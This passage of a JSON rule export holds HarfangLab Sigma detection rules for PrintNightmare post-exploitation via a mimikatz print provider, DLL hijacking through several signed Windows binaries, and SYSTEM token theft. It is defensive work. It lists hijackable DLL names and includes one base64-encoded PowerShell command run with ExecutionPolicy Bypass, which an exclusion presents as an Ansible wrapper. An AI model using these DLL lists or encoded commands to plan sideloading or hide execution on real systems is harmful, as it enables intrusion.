+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1574_spoolsv_mimikatz_provider_load.yml",
+  "content": "title: Spoolsv Mimikatz Signed Print Provider Loaded\nid: 1693e403-2800-4cd4-b918-144cf1d96336\ndescription: |\n    Detects spoolsv loading the mimikatz signed print provider.\n    This is a sign of a CVE-2021-1675 post exploitation.\n    It is recommended to isolate the affected assets and to look for attacker activities on other hosts.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2021/07/06\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1055\n    - attack.s0002\n    - cve.2021-1675\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Exploit.CVE-2021-1675\n    - classification.Windows.Exploit.PrintNightmare\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\spoolsv.exe'\n        Signed: 'true'\n        Signature|contains: 'Open Source Developer, Benjamin Delpy'\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\\\?\\\\*'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1693e403-2800-4cd4-b918-144cf1d96336",
+  "rule_name": "Spoolsv Mimikatz Signed Print Provider Loaded",
+  "rule_description": "Detects spoolsv loading the mimikatz signed print provider.\nThis is a sign of a CVE-2021-1675 post exploitation.\nIt is recommended to isolate the affected assets and to look for attacker activities on other hosts.\n",
+  "rule_creation_date": "2021-07-06",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "16a70c78-b3ad-445a-bef6-ca597bfdb2b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080546Z",
+  "creation_date": "2026-03-23T11:45:34.080548Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080552Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sppsvc.yml",
+  "content": "title: DLL Hijacking via sppsvc.exe\nid: 16a70c78-b3ad-445a-bef6-ca597bfdb2b3\ndescription: |\n    Detects potential Windows DLL Hijacking via sppsvc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sppsvc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTXML.dll'\n            - '\\pkeyhelper.dll'\n            - '\\webservices.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "16a70c78-b3ad-445a-bef6-ca597bfdb2b3",
+  "rule_name": "DLL Hijacking via sppsvc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sppsvc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "16ac2b82-bf41-4651-832f-0b67481cbba0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596042Z",
+  "creation_date": "2026-03-23T11:45:34.596046Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596053Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/incognito.c",
+    "https://attack.mitre.org/techniques/T1134/"
+  ],
+  "name": "t1034_possible_system_access_token_theft.yml",
+  "content": "title: Possible SYSTEM Access Token Theft\nid: 16ac2b82-bf41-4651-832f-0b67481cbba0\ndescription: |\n    Detects the suspicious creation of a process with SYSTEM privileges by a High Integrity process.\n    This can be indicative of token theft from a SYSTEM process in order to locally elevate privileges.\n    It is recommended to analyze the behavior and content of both the parent and the child process to search for malicious actions.\nreferences:\n    - https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/incognito.c\n    - https://attack.mitre.org/techniques/T1134/\ndate: 2023/06/20\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1134.001\n    - attack.t1134.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        IntegrityLevel: 'System'\n        ParentIntegrityLevel: 'High'\n\n    exclusion_teamviewer:\n        - ParentImage|endswith:\n            - '?:\\ProgramData\\GenapiTV\\TeamViewer.exe'\n            - '\\TeamViewer\\TeamViewer.exe'\n            - '\\TeamViewerPortable\\TeamViewer.exe'\n            - '\\AppData\\Local\\TeamViewer\\CustomConfigs\\\\*\\TeamViewer.exe'\n            - '\\AppData\\Roaming\\TeamViewerMeeting\\TeamViewerMeeting.exe'\n            - '\\AppData\\Local\\Temp\\TeamViewer\\Version?\\TeamViewer.exe'\n            - '\\AppData\\Local\\Temp\\\\*\\TeamViewer\\Version?\\TeamViewer.exe'\n        - ProcessParentOriginalFileName: 'TeamViewer.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature:\n            - 'TeamViewer Germany GmbH'\n            - 'TeamViewer GmbH'\n\n    exclusion_mssql:\n        ParentImage|endswith: '\\MSSQL\\Binn\\sqlservr.exe'\n\n    exclusion_anydesk:\n        - ParentImage|endswith:\n            - '\\AnyDesk.exe'\n            - '\\AnyDesk????.exe'\n            - '\\AnyDesk_????.exe'\n        - ProcessParentDescription: 'AnyDesk'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature:\n            - 'AnyDesk Software GmbH'\n            - 'philandro Software GmbH'\n\n    exclusion_werfault:\n        Image: '?:\\Windows\\System32\\WerFault.exe'\n\n    exclusion_advanced_run:\n        ParentImage|endswith: '\\AdvancedRun.exe'\n\n    exclusion_prohelp:\n        ParentImage:\n            - '?:\\Program Files\\Mattec\\ProHelp\\bin\\moller.exe'\n            - '?:\\Program Files (x86)\\Mattec\\ProHelp\\bin\\moller.exe'\n\n    exclusion_etdctrl:\n        ParentImage: '?:\\windows\\system32\\ETDCtrl.exe'\n\n    exclusion_rg_systemes_assist:\n        OriginalFileName:\n            - 'RG_Supervision.exe'\n            - 'Assist.exe'\n        Signed: 'true'\n        Signature: 'RG Systèmes SAS'\n\n    exclusion_conhost:\n        Image: '?:\\Windows\\System32\\conhost.exe'\n\n    exclusion_vmmem:\n        ParentImage:\n            - 'vmmem'\n            - 'vmmemWSL'\n\n    exclusion_taskkill:\n        # taskkill /IM msedge.exe /F\n        # taskkill /IM TDMon.exe\n        CommandLine|startswith: 'taskkill /IM '\n        ParentCommandLine|startswith: '?:\\Windows\\SysWOW64\\inetsrv\\w3wp.exe -ap DefaultAppPool -v '\n        GrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k iissvcs'\n\n    exclusion_ninite:\n        CommandLine|contains: '\\AppData\\Local\\Temp\\\\????????-????-????-????-????????????\\Ninite.exe /runsetup ????????-????-????-????-????????????'\n        ParentImage|endswith: '\\Ninite.exe'\n\n    exclusion_dell_remote_assist:\n        OriginalFileName: 'DellRemoteAssist.exe'\n        Signed: 'true'\n        ProcessParentOriginalFileName: 'DellRemoteAssist.exe'\n        ProcessParentSigned: 'true'\n        CommandLine|contains:\n            - 'startup=runSystem'\n            - 'startup=runElevated'\n            - 'startup=systemBaseClient'\n\n    exclusion_securityhealthsetup:\n        ProcessImage: '?:\\Windows\\SoftwareDistribution\\Download\\Install\\securityhealthsetup.exe'\n        Signed: 'true'\n\n    exclusion_rustdeck1:\n        OriginalFileName: 'rustdesk.exe'\n        CommandLine|contains: ' --run-as-system'\n\n    exclusion_rustdeck2:\n        OriginalFileName: 'rustdesk.exe'\n        Signed: 'true'\n        Signature: 'Zhou Huabing'\n\n    # https://www.navista.fr/support-technique/\n    exclusion_navista:\n        OriginalFileName: 'rustdesk.exe'\n        Signed: 'true'\n        Signature: 'PURSLANE'\n\n    exclusion_ansible:\n        CommandLine: 'powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACYAYwBoAGMAcAAuAGMAbwBtACAANgA1ADAAMAAxACAAPgAgACQAbgB1AGwAbAAKACAAIAAgACAAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQAKACAAIAAgACAAJABzAHAAbABpAHQAXwBwAGEAcgB0AHMAIAA9ACAAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByAC4AUwBwAGwAaQB0ACgAQAAoACIAYAAwAGAAMABgADAAYAAwACIAKQAsACAAMgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBSAGUAbQBvAHYAZQBFAG0AcAB0AHkARQBuAHQAcgBpAGUAcwApAAoAIAAgACAAIABTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAC0ATgBhAG0AZQAgAGoAcwBvAG4AXwByAGEAdwAgAC0AVgBhAGwAdQBlACAAJABzAHAAbABpAHQAXwBwAGEAcgB0AHMAWwAxAF0ACgAgACAAIAAgACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAIAAgACAAIAAmACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIACgA='\n\n    exclusion_paragon:\n        ProcessImage: '?:\\Program Files\\Paragon Software\\Paragon Backup and Recovery\\program\\hdmengine_scriptsapp.exe'\n        Signed: 'true'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "16ac2b82-bf41-4651-832f-0b67481cbba0",
+  "rule_name": "Possible SYSTEM Access Token Theft",
+  "rule_description": "Detects the suspicious creation of a process with SYSTEM privileges by a High Integrity process.\nThis can be indicative of token theft from a SYSTEM process in order to locally elevate privileges.\nIt is recommended to analyze the behavior and content of both the parent and the child process to search for malicious actions.\n",
+  "rule_creation_date": "2023-06-20",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.001",
+    "attack.t1134.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "16bd5dca-1018-431d-b375-f0bec118e825",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077520Z",
+  "creation_date": "2026-03-23T11:45:34.077522Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077527Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_appvshnotify.yml",
+  "content": "title: DLL Hijacking via AppVShNotify.exe\nid: 16bd5dca-1018-431d-b375-f0bec118e825\ndescription: |\n    Detects potential Windows DLL Hijacking via AppVShNotify.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'AppVShNotify.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\userenv.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "16bd5dca-1018-431d-b375-f0bec118e825",
+  "rule_name": "DLL Hijacking via AppVShNotify.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via AppVShNotify.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "16c5e5af-a716-4159-bbc4-d614187f5564",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590369Z",
+  "creation_date": "2026-03-23T11:45:34.590373Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590383Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dpiscaling.yml",
+  "content": "title: DLL Hijacking via dpiscaling.exe\nid: 16c5e5af-a716-4159-bbc4-d614187f5564\ndescription: |\n    Detects potential Windows DLL Hijacking via dpiscaling.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dpiscaling.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CLDAPI.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\edputil.dll'\n            - '\\FLTLIB.DLL'\n            - '\\iphlpapi.dll'\n            - '\\ndfapi.dll'\n            - '\\PROPSYS.dll'\n            - '\\shell32.dll'\n            - '\\wdi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "16c5e5af-a716-4159-bbc4-d614187f5564",
+  "rule_name": "DLL Hijacking via dpiscaling.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dpiscaling.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "16d32dde-ef35-4e0e-91a8-466d49409ba8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075187Z",
+  "creation_date": "2026-03-23T11:45:34.075189Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075194Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wlbs.yml",
+  "content": "title: DLL Hijacking via WLBS.exe\nid: 16d32dde-ef35-4e0e-91a8-466d49409ba8\ndescription: |\n    Detects potential Windows DLL Hijacking via WLBS.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WLBS.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "16d32dde-ef35-4e0e-91a8-466d49409ba8",
+  "rule_name": "DLL Hijacking via WLBS.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WLBS.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "16e0ffc8-8668-4969-8fe3-840080ccc099",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587639Z",
+  "creation_date": "2026-03-23T11:45:34.587643Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587650Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bootcfg.yml",
